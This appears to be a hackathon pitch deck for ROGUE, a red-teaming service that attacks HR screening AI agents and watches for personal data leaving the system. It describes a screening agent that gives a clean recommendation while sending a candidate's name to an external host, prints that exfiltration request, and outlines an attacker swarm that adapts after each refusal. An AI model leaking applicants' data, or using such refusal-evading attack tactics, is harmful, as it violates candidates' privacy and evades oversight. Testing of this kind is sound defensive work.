

14:03:00 — Amina Khoury applied for a job.

14:03:09 — her data was taken.

**A real AI screening agent
assessed a candidate. In the
same breath, it shipped her
personal data off the box. No
one in the room could see it.**

CASE #0427 — OPEN

ROGUE · we watch the hands

An AI now decides who gets the job.

Our buyer is the **founder / CTO of an AI-native HR-tech or ATS vendor**. No security team. Their agent screens a candidate, Amina, **live today**. The moment it does, they personally own the discrimination and GDPR liability. And there are thousands of them: nearly every HR-tech vendor now ships a screening agent, and almost none can test it.

● Small / mid AI-native vendor

● No internal security

● Personal legal liability on first screen

The clock is the cold case going hot.

§ EU AI Act, Annex III(4): CV-screening = **HIGH-RISK**.

→ Enforced **December 2027**.

€ Fines up to **€15M / 3%** of global turnover.

⊘ **GDPR Art. 5(1)(c)**: a screening agent has **no right** to look the candidate up beyond her CV.

PRECEDENT — ALREADY REAL

Amazon — biased hiring tool, scrapped

iTutorGroup — \$365,000 EEOC settlement

Mobley v. Workday — class action, the *vendor* is suable

| **Note:** high-risk obligations were deferred to Dec 2027, not Aug 2026. Getting the date right is the first proof we know this space.

The conversation was flawless. **That was the problem.**

WHAT EVERY TOOL READS – THE TRANSCRIPT

- ✓ Text safety check – PASSED
- ✓ Bias / toxicity check – PASSED
- ✓ Policy compliance – PASSED

WHAT ACTUALLY HAPPENED – OFF THE BOX

lookup.talent-
verify.io

← ?candidate=Amina%20Khoury · her name,
leaving the box

"The conversation is the alibi."

We don't grade what it said. **We grade what it did.**

A swarm of AI attackers probes the agent. A **behavior oracle** grades the bytes that physically leave the box, caught by a sink **we** own. Deterministic. Immune to an agent that has learned to *sound* safe.

EVERYONE ELSE

Text-grader → **reads the mouth**

ROGUE

Behavior oracle → **watches the hands**

Bounded by design: we catch a canary we plant, and the candidate's real name, leaving to a listener we own. Exactly the channel a metadata-checker can't see.

It said the right thing. It did the wrong thing.

● WHAT IT SAID

"Strong profile — recommend advancing Amina to the technical interview." Cites only the CV.

text check: PASSED ✓

● WHAT IT DID

```
GET https://lookup.talent-verify.io/badge?candidate=Amina%20Khoury
```

● confidential data left the box → external host ·
CRITICAL

● EU AI Act Annex III(4) · GDPR Art. 5(1)(c)

Zero tools. Self-reported nothing. We caught the bytes anyway.

The breach from second nine just lit up **on a real product.**

lookup.talent-verify.io ← ?candidate=Amina%20Khoury · her name, on the wire

Same host. The same name on the wire. **The clean recommendation was the alibi; the listener caught the bytes.** Live, on a real agent, in ninety seconds.

3

attacks run

3

silent exfil · text said SAFE

| One committed scan, reproducible from /scans in the public repo.

Not one prompt. An adaptive swarm.

- ◆ A **parallel swarm** of attackers probes the agent at once.
- ◆ A refusal is **information**. The attacker changes tactic, turn after turn, and never repeats a line that just failed.
- ◆ One attack crashes? **The swarm keeps going**.
- ◆ The verdict is **bytes on the wire**, not a model reading prose. Deterministic. Nothing to fool.

One real deep run: 60 attacks, concurrent and adaptive across turns, produced 29 graded breaches; the swarm continued through every failed probe. The attacker reads each refusal and adapts (`attacker.py`); the swarm runs concurrently with per-attack recovery (`orchestrator.py`); the verdict is network-arrival, defensible beyond the base model.

Three case files. All real. All built.

TalentScreen BLACK-BOX

Exposes zero tools, self-reports nothing. We caught the candidate's name on the wire anyway.

The case a metadata-checker structurally can't solve.

Cowork / Rowads SHIPPING

A real, shipping production agent (a general agent workbench), pointed at CV-screening as our design partner #1. Caught fetching the candidate's GitHub & LinkedIn while the recommendation stayed clean.

Your best design partner is your own startup.

Clary 3RD-PARTY

A third-party product, zero code. 60 probes → 29 graded breaches on an agent we'd never seen; a planted canary even came back on the wire.

Generalizes to agents we've never seen.

| Judge by proof, not vibes. n = 3, backed by real saved scans in /scans of the public repo · github.com/elottina/hackathonparis26

The empty lane is ours.

	GRADES TEXT	GRADES BEHAVIOR
OFFENSIVE RED-TEAM	Giskard · General Analysis · Promptfoo (→OpenAI)	ROGUE the bytes that leave the box
RUNTIME DEFENSE	Lakera · Prompt Security	Zenity · Noma (block only, in-prod)

Giskard's tool-check trusts metadata the agent **self-reports**. If it lies, omits, or exfiltrates via an undeclared tool, they're blind. We watch the bytes leave. **Vanta** / **Drata** = the paperwork; we generate the evidence their register asks for.

The breach is the pitch.

Scan-as-lead-gen.

- 1 Scan a prospect's agent (**opt-in**) for free.
 - 2 Send a **blurred Annex III report** with one confirmed, scary finding.
 - 3 Close the **€1,500 deep scan** → expand to monitoring + Vault.
- 🔄 **Viral loop:** the vendor forwards the report to their own enterprise buyer.

First €10K = 7 deep scans

from an 84-contact P0 list we already built

Consent is the moat, not a constraint: we only ever scan an agent the vendor opts in to (or they self-scan). The compliance product is itself compliant.

**A crime you can't see in
the transcript needs **a
witness that never blinks.****

VISION

Continuous, in CI/CD: **an MCP that runs before every deploy.**

EVIDENCE VAULT

Every finding logs to a ledger. **Not an opinion. A receipt.**

**ROGUE. Every AI agent has a
breaking point.
We find it first, before it reaches a
real candidate.**
